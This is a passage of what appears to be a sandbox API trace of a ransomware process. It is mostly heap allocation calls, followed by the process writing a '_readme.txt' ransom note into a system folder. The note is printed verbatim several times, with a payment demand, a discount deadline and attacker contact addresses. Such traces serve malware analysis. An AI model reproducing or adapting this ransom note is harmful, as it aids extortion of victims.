1 [0066.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.566] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.567] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.568] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.569] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.569] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.569] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.569] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.569] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.569] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.569] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.569] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.569] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.569] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.569] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.569] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.569] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.569] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.569] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.569] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.569] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.570] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.571] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.571] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.571] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.571] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.571] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.571] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.571] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.571] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0066.571] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.571] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.571] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.571] PathFindFileNameW (pszPath="") returned="" [0066.571] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.571] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.571] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.572] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.572] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.572] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.572] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.572] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0066.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.572] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.572] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0066.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.572] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.572] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.572] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.572] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is 